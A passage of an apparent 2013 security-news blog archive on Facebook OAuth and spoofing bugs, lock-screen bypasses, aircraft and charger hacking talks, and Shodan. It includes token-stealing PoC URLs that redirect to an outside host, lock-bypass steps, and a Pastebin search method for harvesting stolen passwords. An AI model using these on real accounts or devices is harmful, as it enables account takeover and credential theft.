Doc Scrubber: A freeware to scrub off hidden data from word documents (.doc). Doc Scrubber can be downloaded from http://www.javacoolsoftware.com/dsdownload.html.

Exif Tool: A software application which can read, write and edit metadata in an extensive variety of files.

Removing Geo-tags: Picasa, the image organizing and editing application by Google can help to remove geo-tags from images. The link to the help and support page is

http://support.google.com/picasa/bin/answer.py?hl=en&answer=70822.

Conclusion:

Data Loss Prevention is a quite serious matter for organizations today. It could cost more than the cost of the data itself, if this data gets into the hand of a malicious intruder. We saw that how we reveal sensitive information through the documents and files we upload, without even realizing it. This information can be exploited by an attacker/pentester for the purpose of intrusion. The criticality of such information is such that it can be the difference between a successful and a failed penetration. It has been demonstrated that metadata extraction can be easily accomplished with the help of the tools mentioned earlier (all of which are free). This gives so much power in the hands of a skilled pentester/attacker, which he/she can utilize to launch a well thought out attack. An IT Administrator can utilize the tools described to detect metadata leakage of the organization and check it.

All this information need not be there on the open web, but most of the organizations don’t realize the existence of this information and hence stay ignorant towards it. Companies implement many policies to prevent data leakage, like blocking Social Networking Websites, third party e-mail services etc. but nobody realizes this medium, which is leaking information without their knowledge. Policies and procedures need to be developed for document sanitization before hosting them online. Strong policies and the mentioned mitigation methods if employed properly can help to prevent such data loss and help the organization to implement defense in depth.

Facebook Hacking, technique to Spoof the content of Facebook Apps

2013-05-18T12:07:00.000+05:30

Nir Goldshlager from Break Security today exposed another major flaw that allows hacker to wall post spoofed messages from trusted applications like Saavn, Candy Crush, Spotify, Pinterest, or really any other application on Facebook and few of the “unfix”: bug found in Facebook (some of which still work).

But, what exactly does “spoofing app content” entail?

It basically means that an attacker can post content that appears to come from a trusted application onto the wall or newsfeed of a victim.

For example:

You can find content from Saavn, Candy Crush, Spotify, Pinterest, or really any other application on Facebook.

Facebook has a somewhat interesting method of publishing called stream.publish. (http://fbdevwiki.com/wiki/FB.ui#method:_.27stream.publish.27),

This essentially allows you to post on your wall with a Facebook Application for post stream attachments.

The Stream Publish Dialog will look like the following:

https://www.facebook.com/dialog/stream.publish?app_id=xxxx&redirect_uri=http://www.facebook.com/&action_links=&attachment=%7B%27media%27:%20[%7B%27
type%27:%20%27flash%27,%27swfsrc%27:%27http://files.nirgoldshlager.com/goldshlager2.swf%27,%27imgsrc%27
:%27http://www.vectorstock.com/i/composite/41,30/hacked-pc-vector-194130.jpg%27,%27width%27:%27130%27,%27height%27:%27%20130%27,%27expanded_width%27:%27500
%27,%27expanded_%20height%27:%27500%27%7D],%27name%27:%27xxxx%27,%27caption%27:%27xxxx%20
Application%27,%27properties%27:%7B%27xxx%27:%7B%27text%27:%27Download%20xxx%27,%27
href%27:%27http://nirgoldshlager.com%27%7D%7D%7D

This dialog contains a few noteworthy parameters:

1. app_id

2. attachment (swfsr,imgsrc,href)

The attacker must first provide the app_id value for the victim application (Saavn, Spotify, etc.).

Where app_id and attachment (swfsr,imgsrc,href) parameters can be targeted by hackers i.e using app_id value as application ID of any application you want to spoof (Saavn, Spotify, etc.) and an attacker must produce attachment parameters like swfrsc and imgsrc.

PoC Bypass (Fixed By Facebook Security in 2012):

https://www.facebook.com/dialog/stream.publish?access_token=&api_key=211795388914496&app_id=211795388914496&attachment=%7B%22name%22%3A
%22NirGoldshlager%22%2C%22caption%22%3A%22%7B*actor*%7D%20Goldshlager%22%2C%22description
%22%3A%22%22%2C%22href%22%3A%22%22%2C%22media%22%3A%5B%7B%22type%22%3A%22flash%22%
2C%22height%22%3A%22300%22%2C%22imgsrc%22%3A%22http%3A%2F%2Fwww.it-networks.org/wp-content/uploads/2012/01/hacked.jpg%22%2C%22expanded_width%22%3A%22900%22%2C%22expanded_height
%22%3A%22400%22%2C%22swfsrc%22%3A%22http://nirgoldshlager.site50.net/goldshlager.swf%23
media_id%3Djl95eFLM%26source%3Dsaavn%26title%3DBuddhi%20Do%20Bhagwaan%20%28Charlie
%26%2339%3Bs%20Song%29%26album%3DPlayers%26thumb%3Dhttp%3A%2F%2F%26more_link%3
Dhttp%3A%2F%2F%2Fp%2Fsong%2Fhindi%2Fplayers%2Fbuddhi%2Bdo%2Bbhagwaan%2FGgRSBBF2e34%26
demoStartTime%3D0%26demoDuration%3D30%26url%3D%253D%22%7D%5D%7D&display=popup&locale=
en_US&message=&next=https://apps.facebook.com/goldshlagerdemo/&sdk=joey&user_message_prompt=

PoC Video (Fixed in 2012):

http://www.vimeo.com/66328805

Now let’s go over unfix content spoofing Facebook app bug.

Facebook eliminated the stream.publish option in 2013, instead opting for a Feed Dialog (https://developers.facebook.com/docs/reference/dialogs/feed/) to publish app activity.

In this Feed Dialog, we’ll use some parameters to perform the content spoofing app bug.

1. Link parameter: With this parameter, we will include our malicious external link (virus exe file, 0days, Phishing site, or any other malicious link.

2. Picture Parameter: This parameter is only usable if we want to spoof the content with an image. The content of the image will only display correctly on our Wall post. It will not display correctly in the newsfeed, making it relevant only to wall post app spoofing.

3. Caption Parameter: This parameter will allow to an attacker choose from which website the content came from, For Example:

Facebook.com

Zynga.com

Ownerappdomain.com

4. Name Parameter: This parameter produces the title we desire. Whenever the victim clicks on that title, he will be taken to our malicious website.

PoC Video:

http://www.vimeo.com/66328804

Solution:

Use Stream post URL security=Enabled in App settings (developers.facebook.com), to prevent content spoofing on your App,

Bonus Video (Advanced Spoofing Apps Links, Fixed By Facebook Security 2012):
http://www.vimeo.com/66379106

Hack an electric car-charging station

2013-05-18T11:06:00.000+05:30

The latest entrant into the scary-infrastructure category comes from a technology that feels like it should be a lot warmer and fuzzier: namely, electric car-charging stations.

In a video recorded at Hack in the Box 2013 Amsterdam and posted courtesy of Help Net Security, Ofer Shezaf, founder of OWASP Israel, talks about the lack of security in these charging stations, which often amount to little more than a computer sitting behind a key-lock panel on the street.

Hacking charge stations for electric cars

For three years, Shezaf, an application security expert, worked for a company that makes infrastructure for the car-charging stations.

The equipment in a charging station typically includes these components, he says:

· Main board;

· Communication equipment to connect with a central server and, often, with the internet;

· An RFID card reader that lets users identity themselves and begin charging their cars; and

· Electric components, such as a circuit breaker to protect from electrocution and a meter to measure the amount of electricity consumed.

Why do you need such a computer sitting on the street? Somebody has to pay for the electricity, Shezaf says, and controls are needed. You can't have everybody getting electricity at the same time, or the system will fry.

But once you put a computer on the street, information security comes into play, as does the potential for hacking.

Here are the ways Shezaf says attackers might hack into an electric car-charging station:

1. Via physical access on the street equipment. The computers, typically Linux-based, are often protected with a panel opened with a simple key. Once an attacker opens the panel, he has access to the components, allowing analysis and reverse-engineering of hardware, CPU, and firmware. Also, attackers can connect via processor ports to enable real-time analysis while customers are charging their cars.

2. Via communications. In many cases, Shezaf says, there's a large number of charging stations in a single parking lot, linked via serial connection, which he calls "very slow and very, very ancient, with very little security." This can enable hackers to tap in to intercept information about the identities of the customers who are charging their cars, plus their payment information. Another potential is for attackers to conduct a man-in-the-middle attack.

3. Via RFID card. There's high pressure on manufacturers to buy the cheapest ones available. Such cheap RFID cards are known to include either no encryption or insufficient encryption protocols.

4. Back doors that allow technicians to connect to charging stations and get immediate access. Maintainability is a key element of these large physical networks. It has to be cheap and easy for technicians to fix issues, Shezaf says. He found one example in an equipment manual online that describes how access to the charging station is gained through a physical key. Beyond that, there's no security whatsoever - not even a password requirement.

What can hackers do once they're in? Shezaf gave this list:

· Identity theft. Attackers can intercept information while people charge.

· Financial theft. Charging for free or charging on someone else's account.

· DoS. A hacker can, for example, take out an entire parking lot, making cars inoperable. Hackers could also potentially shut down an entire network, shutting down electric car traffic in an entire city or region.

How likely are these types of physical attacks? Not very, Shezaf says, given a few things.

First, they sound simple, but they're not:

"You need a subject matter expert. That limits the number of people who can do it."

For one thing, encryption is a key challenge of securing charging infrastructure. But encryption is "a tough subject," he says. There just aren't that many people who know how to break it.

We don't see charging stations getting hacked or, for that matter, planes falling out of the sky, but we do see virtual hacking galore.

The reason, Shezaf proposes, is that physical damage frightens us, from an evolutionary standpoint.

If you're out to make some easy money, hacking a bank online is physically safe. The same can't be said for physical attacks against, for example, smart cars or car-charging stations:

"While naturally criminals and nation states will use those techniques, a lot less people who are doing it for money will try to hack charging stations."

iOS Safari, Content-Type, and XSS – Unfixed

2013-04-28T13:18:00.000+05:30

Ben Toews a security researcher reported the Cross-Site Scripting vulnerability in the iOS safari Browser but unfortunately Apple’s security team responded that they had no intention of fixing the issue in the near future. So to put pressure on the software vendor he disclosed the vulnerability in the public.

The issue is that on iOS, Safari improperly handles the text/plain content type. TheContent-Type header is used by the web application/server to indicate how the browser should handle the data it receives. The expectation is that text/html should be rendered as HTML, image/jpeg should be rendered as a JPG image, etc… think about .php or .asp URLs. The browser knows how to render these ambiguous file extensions based on the Content-Typeheader set by the server.

Think about a social networking site that allows you to upload a profile image. The server might check that the file extension is .jpg, .png, or .gif and verify that the MIME type is consistent with the file extension. This falls apart when an attacker uploads a file with MIME type: image/jpeg, file extension: .jpg, and content. If the browser sniffs the content rather than looking at the Content-Type header, it might render the HTML instead of erroring out. This isn’t a big deal if the attacker is just displaying a marquee, but this could easily be leveraged to run malicious JavaScript and attack the other users’ sessions.

The mistake being made by iOS Safari is similar. Instead of rendering text/plain documents as raw text as the header instructs, the browser guesses as to the content type based on the file extension. This makes applications that accept text/plain uploads or return user content as text/plain vulnerable to Cross-Site Scripting, when in actuality, they are doing the right thing by returning Content-Type: text/plain.

POC:

If you want to see a demo, visit this url in your desktop browser and then on an iOS device. You will see that desktop browser properly renders the text/plain content, whereas iOS Safari renders it as HTML, executing the JavaScript.

Pastebin Hacking Method

2013-04-28T12:17:00.000+05:30

Pastebin Hacking Method [Fast, Simple and Effective]

All Kinds of Passwords 100%

This is the pastebin method to find passwords,

Requirements: Patience

1. Go to http://pastebin.com/

2. Go to the search bar and type (example):

Program:firefox Url/Host:http://www.facebook.com login

Just change the Host to other site to find passwords you want!

Ex. Program:firefox Url/Host:http://paypal.com login

BOOM! Thousands of passwords

“Program:” “Url/Host:” “Login” inurl:pastebin

The inurl can’t be inurl:paste, but you should cycle through various paste sites like:
inurl:pastebin
inurl:pastie
inurl:privatepaste
inurl:anonpaste

There you go, more than just firefox. Now we have many chrome, various messenger clients, and all sorts of stuff along with not specifying a url (if you wanted that, you’d craft it entirely differently to not rely on other’s stealers).

Don’t forget to sort by date with these types of things.

Shodan: The “Dark Google”

2013-04-27T18:58:00.000+05:30

“When people don’t see stuff on Google, they think no one can find it. That’s not true.”

That’s according to John Matherly, creator of Shodan, the scariest search engine on the Internet.

Unlike Google, which crawls the Web looking for websites, Shodan navigates the Internet’s back channels. It’s a kind of “dark” Google, looking for the servers, webcams, printers, routers and all the other stuff that is connected to and makes up the Internet.

Shodan runs 24/7 and collects information on about 500 million connected devices and services each month.

It’s stunning what can be found with a simple search on Shodan. Countless traffic lights, security cameras, home automation devices and heating systems are connected to the Internet and easy to spot.

Shodan searchers have found control systems for a water park, a gas station, a hotel wine cooler and a crematorium. Cyber security researchers have even located command and control systems for nuclear power plants and a particle-accelerating cyclotron by using Shodan.

What’s really noteworthy about Shodan’s ability to find all of this — and what makes Shodan so scary — is that very few of those devices have any kind of security built into them.

“It’s a massive security failure,” said HD Moore, chief security officer of Rapid 7, who operates a private version of a Shodan-like database for his own research purposes.

A quick search for “default password” reveals countless printers, servers and system control devices that use “admin” as their user name and “1234″ as their password. Many more connected systems require no credentials at all — all you need is a Web browser to connect to them.

In a talk given at last year’s Defcon cyber security conference, independent security penetration tester Dan Tentler demonstrated how he used Shodan to find control systems for evaporative coolers, pressurized water heaters, and garage doors.

He found a car wash that could be turned on and off and a hockey rink in Denmark that could be defrosted with a click of a button. A city’s entire traffic control system was connected to the Internet and could be put into “test mode” with a single command entry. And he also found a control system for a hydroelectric plant in France with two turbines generating 3 megawatts each.

Scary stuff, if it got into the wrong hands.

“You could really do some serious damage with this,” Tentler said, in an understatement.

So why are all these devices connected with few safeguards? Some things that are designed to be connected to the Internet, such as door locks that can be controlled with your iPhone, are generally believed to be hard to find. Security is an afterthought.

A bigger issue is that many of these devices shouldn’t even be online at all. Companies will often buy systems that can enable them to control, say, a heating system with a computer. How do they connect the computer to the heating system? Rather than connect them directly, many IT departments just plug them both into a Web server, inadvertently sharing them with the rest of the world.

“Of course there’s no security on these things,” said Matherly, “They don’t belong on the Internet in the first place.”

The good news is that Shodan is almost exclusively used for good.

Matherly, who completed Shodan more than three years ago as a pet project, has limited searches to just 10 results without an account, and 50 with an account. If you want to see everything Shodan has to offer, Matherly requires more information about what you’re hoping to achieve — and a payment.

Penetration testers, security professionals, academic researchers and law enforcement agencies are the primary users of Shodan. Bad actors may use it as a starting point, Matherly admits. But he added that cybercriminals typically have access to botnets — large collections of infected computers — that are able to achieve the same task without detection.

To date, most cyberattacks have focused on stealing money and intellectual property. Bad guys haven’t yet tried to do harm by blowing up a building or killing the traffic lights in a city.

Security professionals are hoping to avoid that scenario by spotting these unsecured, connected devices and services using Shodan, and alerting those operating them that they’re vulnerable. In the meantime, there are too many terrifying things connected to the Internet with no security to speak of just waiting to be attacked.

Facebook OAuth bug (xd_arbiter.php)

2013-04-15T19:32:00.000+05:30

Just a few weeks ago Nir Goldshlager released OAuth vulnerability on Facebook. A security researcher Amine Cherrai has also found similar vulnerability on Facebook that allowed hackers to get the access_token and full permissions of any account on Facebook.

As you may know, last month Facebook has closed many bugs leading to security reinforcement of”redirect_uri” parameter and prevent hijacking attacks. One of these reinforcement were rejecting all ”redirect_uri” that has “#” or ”#!”. While looking in the Facebook Javascript SDK researcher found something strange that it uses “http://static.ak.facebook.com/connect/xd_arbiter.php?version=21#channel=f876ddf24&origin=http://localhost&channel_path=/oauth/PoC_js/?fb_xd_fragment#xd_sig=f3adf0e04c&” as a redirect_uri and it’s not rejected… So let’s use it too!!!

So redirect_uri now is

“http://facebook.com/connect/xd_arbiter.php?#&origin=http://facebook.com/” I tested in it was accepted and it redirect me to it with the access_token, then it took few seconds to redirect the flow to an external website with the access token using ” http://facebook.com/connect/xd_arbiter.php?#!/l.php?u=http://facebook.com/l.php?u=http://localhost/oauth/boom.php?&h=WAQGoSQT6&origin=http://facebook.com/” but this link expires in few days because of the “h=WAQGoSQT6″ and here Nir Goldshlager helped researcher and suggested to redirect to an application in Facebook then the application redirects to an external website instead of redirecting directly to an external website. So the finale redirect_uri becomes http://touch.facebook.com/connect/xd_arbiter.php?#!/apps/midnighthack/?&origin=http://facebook.com/ and pwn I get the access_token and full permissions of any account on facebook.

This is the PoC link:

PoC Link

The PoC video:

This bug was closed by Facebook Security Team, but researcher says “I will post another article about an unclosed bug on Facebook so be ready and keep your eyes opened”.

Hijacking Airplanes with an Android Phone

2013-04-13T10:48:00.000+05:30

An extremely well attended talk by Hugo Teso, a security consultant at n.runs AG in Germany, about the completely realistic scenario of plane hijacking via a simple Android app has galvanized the crowd attending the Hack In The Box Conference in Amsterdam today.

Teso, who has been working in IT for the last eleven years and has been a trained commercial pilot for a year longer than that, has combined his two interests in order to bring to light the sorry state of security of aviation computer systems and communication protocols.

By taking advantage of two new technologies for the discovery, information gathering and exploitation phases of the attack, and by creating an exploit framework (SIMON) and an Android app (PlaneSploit) that delivers attack messages to the airplanes’ Flight Management Systems (computer unit + control display unit), he demonstrated the terrifying ability to take complete control of aircraft by making virtual planes “dance to his tune.”

One of the two technologies he abused is the Automatic Dependent Surveillance-Broadcast (ADS-B), which sends information about each aircraft (identification, current position, altitude, and so on) through an on-board transmitter to air traffic controllers, and allows aircraft equipped with the technology to receive flight, traffic and weather information about other aircraft currently in the air in their vicinity.

The other one is the Aircraft Communications Addressing and Reporting System (ACARS), which is used to exchange messages between aircraft and air traffic controllers via radio or satellite, as well as to automatically deliver information about each flight phase to the latter.

Both of these technologies are massively insecure and are susceptible to a number of passive and active attacks. Teso misused the ADS-B to select targets, and the ACARS to gather information about the onboard computer as well as to exploit its vulnerabilities by delivering spoofed malicious messages that affect the “behavior” of the plane.

Based on his own research, Teso developed the SIMON framework that is deliberately made only to work in a virtual environment and cannot be used on real-life aircraft. His testing laboratory consists of a series of software and hardware products, but the connection and communication methods, as well as ways of exploitation, are absolutely the same as they would be in an actual real-world scenario.

Since it’s nearly impossible to detect the framework once deployed on the Flight Management System, there is no need to disguise it like a rootkit. By using SIMON, the attacker can upload a specific payload to the remote FSM, upload flight plans, detailed commands or even custom plugins that could be developed for the framework.

To make things even more interesting – or easier – Teso showcased an Andorid application that uses SIMON’s powers to remotely control airplanes on the move. The application, fittingly named PlaneSploit, sports a clean and simple interface, but is packed full with features. This is a remarkable example of technology evolution – ten years ago we barely had phones with a color screen, today we can use them to hack aircraft.

PlaneSploit uses the Flightradar24 live flight tracker and you can tap on any airplane found in range. When talking about the range, please keep in mind that we are talking about a proof-of-concept application used in a virtual environment. In real life, the range would be limited depending on the antennas used (if going directly for the plane), or global (if misusing one of the two big ACARS players such as SITA or ARINC).

The user interface is divided by its main functions which are self-explanatory: discovery, information gathering, exploitation and post exploitation. The attacker can click on any active airplane and is receives its identification, current location and final destination. In case a nearby airplane system is exploitable (a number of vulnerability vectors mentioned, not much details provided), the application alerts the user via an in-application alert or a push message. The payload can be uploaded with a tap of a button and from that point on, the flight management system is remotely controlled by an attacker. There are a number of other systems connected to FMS, so further exploitation is possible.

Here are some of the functions Teso showed to the HITBSecConf Amsterdam audience:

Please go here: A way of interacting with the plane where the user can dynamically tap locations on the map and change the plane’s course.

Define area: Set detailed filters related to the airplane, for example activate something when a plane is in the area of X kilometers or when it starts flying on a predefined altitude.

Visit ground: Crash the airplane.

Kiss off: Remove itself from the system.

Be punckish: A theatric way of alerting the pilots that something is seriously wrong – lights start flashing and alarms start buzzing.

By showing a sample scenario of a drunken pilot flying over Berlin, Teso mentioned that the Android application also uses the benefits of the accelerometer and therefore a remote attacker can transform the motion of its smartphone into physical changes in the plane’s movement.

It’s amazing to discover that aviation – an industry where safety is of vital importance and every physical element has one or even two fail-safe mechanisms – is failing to secure the onboard computer, the heart and brain of the plane.

Teso has not shared too many details about the tools he used to effect the attack, as the vulnerabilities have yet to be fixed. He says that he was pleasantly surprised by the reaction of the industry to his research and discoveries, as the companies didn’t try to deny the existence of the problems and have vowed to aid him in his research.

He says that older, legacy systems harking back to the 1970s will be difficult, if not impossible, to fix, but that modern ones will easily be updated with patched and modified firmware and software.

The vulnerabilities, of course, differ from system to system and from plane to plane, but it’s easy to discover just which ones are present once the attacker identifies the type, model of the plane, and the airline for which it flies.

There is a solution for pilots to regain the control of the plane and land it safely, he says. Attacks of this kind work only when the auto-pilot is on, so the trick is to switch it off, then fly the plane by using analog instruments.

The bad news is that there aren’t that many on modern planes, and that the pilots have to detect that the plane’s computer is being hacked in order to affect these maneuvers, and that is no easy feat.

The Unfix Bug in Facebook OAuth

2013-04-05T19:08:00.000+05:30

@Nirgoldshlager has released the unfixed bug in Facebook OAuth as Facebook is not responsible for fixing it. Instead, the owner application within Facebook is responsible for the repair.

What does happen if the victim has an installed application (e.g. Skype or Dropbox)? Can a hacker still attack Facebook users? The answer to this question is a resounding yes. The attacker only needs to find a Site redirection / XSS on the Facebook owner app domain (that is, skype.com, dropbox.com, etc.). If the owner app domain has a site redirection,

The attacker will then be able to steal the victim’s access_token through the use of Facebook OAuth. The hacked Facebook users must have the current permission requirement of the Facebook application.

We’re already aware of the problematic parameter in Facebook OAuth called “redirect_uri, next.” It was already shown in the posts that it’s possible to exploit Facebook OAuth by bypassing the regex protection. Then I used a site redirection (my app) to send the access token to an external website where it was cataloged.

The attacker merely needs to locate a site redirection issue on the developer or owner’s app domain, and that’s it. They will be able to take the access_tokens of any user on Facebook who uses that particular app.

To begin with, an attacker can view the installed applications on the victim’s Facebook account via Facebook AppCenter or Ajax request:

https://www.facebook.com/ajax/browser/dialog/friends_using_app/?app_id=260273468396&__asyncDialog=2&__a=1&__req=m

Nir Goldshlager has chosen two applications (Skype and Dropbox) to illustrate the risks of Facebook OAuth.

PoC:Steal the access_token of Facebook users who utilize the Skype application:

https://www.facebook.com/dialog/permissions.request?app_id=260273468396&display=page&next=http://metrics.skype.com/b/ss/skypeglobalmobile/5.4/REDIR/?url=http://files.nirgoldshlager.com&response_type=token&fbconnect=1

PoC (Steal access tokens from Dropbox Facebook users):

https://www.facebook.com/dialog/permissions.request?app_id=210019893730&display=page&next=https://www.dropbox.com/u/68182951/redirect3.html&response_type
=token&perms=email&fbconnect=1

The next parameter redirects us to the file I uploaded using the Dropbox file upload:

https://www.dropbox.com/u/68182951/redirect3.html

After that, my HTML file (redirect3.html) located at the Dropbox domain redirects users to http://files.nirgoldshlager.com

PoC Video:

Multiple Security Issues with Samsung's Android Customizations

2013-03-22T19:17:00.000+05:30

Blogger Robert Paleari writes that he has discovered serious security vulnerabilities in Samsung smartphones that seem to result from changes the company made to Android on its devices.

For security reasons, Paleari does not go into detail in his description of the vulnerabilities, but he does say that “I contacted Samsung at the beginning of January 2013, and on January 17th I gave them all the technical details and proof-of-concepts for the six vulnerabilities I found, plus some bonus denial-of-services and info leaks (for the sake of completeness, the MD5 of my report isaf7ca8998079c5445a3b1bcff2e05f90). Since then, I have not received any official confirmation from Samsung about their intention to fix these issues: as far as I know, they are still "in the process of checking for the vulnerabilities". Despite this fact, on February 20th, they asked to delay my public disclosure until proper patches are developed, considering that "any patches [Samsung] develops must first be approved by the network carriers".

All the vulnerabilities reported can be exploited from an unprivileged local application. In other words, no specific Android privileges are required for the attacks to succeed. This allows attackers to conceal the exploit code inside a low-privileged (and apparently benign) application, distributed through Google Play or the Samsung Apps market.

Issues overview

1. Two different vulnerabilities can be exploited to silently install highly-privileged applications with no user interaction. The privileged applications to be installed can be embedded right inside the unprivileged application package, or downloaded "on the fly" from an on-line market.(stealth installation of a privileged application)

The video is organized as follows:

An application named "Hacksung" is installed on the target device. At the beginning of the video I show that "Hacksung" has no specific permissions.
Application "Hacksung" is executed and the exploit is launched when the "Pwn!" button is pressed.
The exploit installs a second app, named "Malicious", embedded inside the "Hacksung" application package. As you can see from the video, no user confirmation is requested.
The application "Malicious" is run. This application does nothing, and it simply displays a text message.
To conclude, the video shows the permissions granted to "Malicious". As can be seen, several dangerous permissions are granted, such as the ability to read and send SMS messages.

2. Another issue, different from the previous ones, allows attackers to send SMS messages without requiring any Android privilege (normally, Android applications are required to have the android.permission.SEND_SMS permission to perform this task).

3. An additional vulnerability can be used to silently perform almost any action on the victim's phone, ranging from placing phone calls to sending e-mails, SMS messages, and so on.

4. The remaining security issues allow attackers to change other settings of the victim's phone, such as networking or Internet settings, without the user's consent.

A malicious app can be hidden in the package of one with less permission and then installed at the same time or downloaded later. Apparently attackers are also able to send text messages even if the app doesn't have the appropriate permission (android.permission.SEND_SMS). They can even secretly make telephone calls, send emails, and change phone settings, including network settings. Paleari has published his findings because he is surprised that Samsung is dragging its feet, since the vulnerabilities are actually not that difficult to find and can be easily fixed.

Terence Eden discovered security vulnerability in the lock screens of Samsung smartphones earlier this month, and in contrast to Paleari, he now recommends contacting the company. He has also published another related exploit. In a proof-of-concept video, Eden shows how he can not only temporarily bypass some Samsung devices' lock screens, but also completely turn off the lock screen on his Samsung Galaxy Note II running Jelly Bean (Android 4.1.2).

HOWTO

From the lock screen, hit the emergency call button.
Dial a non-existent emergency services number - e.g. 0.
Press the green dial icon.
Dismiss the error message.
Press the phone's back button.
The app's screen will be briefly displayed.
This is just about long enough to interact with the app.
Using this, you can run and interact with any app / widget / settings menu.
You can also use this to launch the dialler.
From there, you can dial any phone number (one digit at a time) and place a phone call.
With Google Play, you can search for apps using the voice interface.
You can download apps from the app store which will disable the screen lock.

The blogger managed to install a special app available from the Google Play store that immediately disabled the locked Note's lock screen. Of course, this hack only works if the Google Play store is accessible from the home screen and if the attacker is quick with their fingers, but once they've managed the hard part, they can dig around the smartphone as they please and even restore it to factory settings.

Early March also brought announcements that the lock screen on Samsung's Galaxy S3 could be permanently unlocked and that the keyboards installed on Android could reveal partial or entire passwords.

iOS 6.1.3 security flaw allows passcode lock bypass... again

2013-03-21T21:20:00.000+05:30

iOS 6.1.3 has only just been released by Apple, and already a security hole has been followed - allowing anyone to bypass the passcode lock on iPhones, and access private data on the device.

The flaw was found by "videosdebarraquito", who seems to be making a hobby of embarrassing Apple by uncovering lock bypass flaws. In a video he demonstrates that it's not particularly complicated to avoid the iOS 6.1.3 passcode lock if you have physical access to the device and a widget for removing the SIM card.

Here is videosdebarraquito's video, where he demonstrates how the passcode can be bypassed:

It appears that circumventing the passcode lock can allow an unauthorized party access to the device's photo gallery and use the phone.

The good news is that this security flaw can be easily prevented. The passcode bypass relies upon use of the "Voice Dial" feature of iPhones, which is disabled on devices using Apple's Siri voice recognition feature.

If you *aren't* using Siri, then the recommendation is to disable "Voice Dial". If you do that, your device shouldn't be prone to this passcode bypass.

You can disable "Voice Dial" on your iPhone by going to Settings / General / Passcode Lock. (Note that if you have Siri enabled you won't see an option for "Voice Dial" there, as it has been automatically disabled).

Easy as it is to avoid this flaw putting your iDevice at risk, it's still embarrassing for Apple as it comes so soon after other passcode lock bypasses were publicized.

Facebook Accounts Hacked using OAuth Vulnerabilities Again

2013-03-13T18:30:00.000+05:30

Recently Facebook has fixed the latest OAuth Flaw in Facebook that allow an attacker to hijack any account without victim's interaction with any Facebook Application, reported by white hat Hacker 'Nir Goldshlager'. After that Facebook security team fixed that issue.

Nir Goldshlager, once again pwn Facebook OAuth mechanism by bypassing all those minor changes done by Facebook Team. He explains the complete Saga of hunting Facebook bug in a blog post.

OAuth URL contains two parameters i.e. redirect_uri & next, and using Regex Protection (%23xxx!,%23/xxx,/) Facebook team tried to secure that after last patch.

In recent discovered technique hacker found that next parameter allow facebook.facebook.com domain as a valid option and multiple hash signs is now enough to bypass Regex Protection.

He use facebook.com/l.php file (used by Facebook to redirect users to external links) to redirect victims to his malicious Facebook application and then to his own server for storing token values, where tokens are the alternate access to any Facebook account without password.

But a warning message while redirecting ruin the show! No worries, he found that 5 bytes of data in redirection URL is able to bypass this warning message. Example: https://www.facebook.com/l/ggggg;touch.facebook.com/apps/sdfsdsdsgs (where 'ggggg is the 5 byte of data used).

Now at the last step, He Redirect the victim to external websites located in files.nirgoldshlager.com (attacker server) via malicious Facebook app created by him and victim's access_token will be logged there.

Exploit Summary

Using facebook.facebook.com subdomain to bypass subdomain regex protection in OAuth (facebook.facebook.com)
Exploit the strange redirection behavior in facebook.com with multiple hash signs (https://facebook.facebook.com/#/x/#/l/ggggg;touch.facebook.com/apps/sdfsdsdsgs)
Bypass the warning message in l.php with 5 byte (https://www.facebook.com/l/ggggg;touch.facebook.com)
Redirect the victim to external websites located in files.nirgoldshlager.com via my Facebook app, To save the victim access_token in a log file

So here we have the final POC that can hack any Facebook account by exploiting another Facebook OAuth bug.

For all browsers:

https://www.facebook.com/connect/uiserver.php?app_id=220764691281998&next=https://facebook.facebook.com/%23/x/%23/l/ggggg%3btouch.face

book.com/apps/sdfsdsdsgs%23&display=page&fbconnect=1&method=permissions.request&response_type=token

For Firefox browser:

https://www.facebook.com/dialog/permissions.request?app_id=220764691281998&display=page&next=https%3A%2F%2Ftouch.facebook.com%2F%252

3%2521%2Fapps%2Ftestestestte%2F&response_type=token&perms=email&fbconnect=1

This bug was also reported to Facebook Security Team by Nir Goldshlager and patched now.

Apple App Store, fixing a lot of vulnerabilities by turning on HTTPS

2013-03-11T10:01:00.000+05:30

A Google developer helps Apple to fixed a security flaw in its application store that for years has allowed attackers to steal passwords and install unwanted or extremely expensive applications.

Researcher Elie Bursztein revealed on his blog that he had alerted Apple of numerous security issues last July but that Apple had only turned on HTTPS for the App Store last week.

By abusing the lack of encryption (HTTPS) in certain parts of the communication with the App Store, the dynamic nature of the App Store pages, and the lack of confirmation, an active network attacker can perform the following attacks:

- Password stealing: Trick the user into disclosing his or her password by using the application update notification mechanism to insert a fake prompt when the App Store is launched.

- App swapping: Force the user to install/buy the attacker’s app of choice instead of the one the user intended to install/buy. It is possible to swap a free app with a paid app.

- App fake upgrade: Trick the user into installing/buying the attacker’s app of choice by inserting fake app upgrades, or manipulating existing app upgrades.

- Preventing application installation: Prevent the user from installing/upgrading applications either by stripping the app out of the market or tricking the app into believing it is already installed.

- Privacy leak: The App Store application update mechanism discloses in the clear the list of the applications installed on the device.

Samsung Androids: Lock Screen Bypass Flaw Found

2013-03-06T19:19:00.001+05:30

A vulnerability exists in Samsung devices running Android version 4.1.2 that could give unauthenticated users the ability to circumvent the screen lock and view the home screen, run apps, and reach out to contacts without successfully completing Android’s pattern lock, PIN, password or Face Unlock mechanisms.

Terence Eden, a UK-based mobility expert, wrote about and uploaded a video demonstrating the bug on his personal blog yesterday. As you can see in the video posted below, Eden locks his device’s screen before calling up the unlock screen and then presses the “emergency call” and the “in case of an emergency” (ICE) contact list buttons. From the ICE emergency contact screen, he holds down the home button. Just before the lock screen pops up, the home screen is displayed very briefly. As the home screen flashes, a user can touch one of the apps displayed and access it without authentication.

Steps to follow:

Lock the device with a "secure" pattern, PIN, or password.
Activate the screen.
Press "Emergency Call".
Press the "ICE" button on the bottom left.
Hold down the physical home key for a few seconds and then release.
The phone's home screen will be displayed - briefly.
While the home screen is displayed, click on an app or a widget.
The app or widget will launch.
If the widget is "direct dial" the phone will start ringing.

The bug is somewhat limited in its scope, Eden explains, because an attacker or otherwise unauthenticated user could only make calls in this way if the phone’s legitimate owner had the “direct dial” widget installed on his or her home screen. Application access is limited as well. Only apps that perform actions on launch, such as recording from the microphone, using the flash function, playing music, or interacting with a server are affected. Essentially, if an attacker or other unauthenticated user accesses an app with a launch function, the app will run in the background and only perform that or those actions.

Eden also notes that, depending on the launcher in use on a given device, repeatedly pressing the home button could allow the unauthenticated to see what is displayed on other sub-home screens, potentially giving an attacker the ability to view calendar, email and other installed widgets.

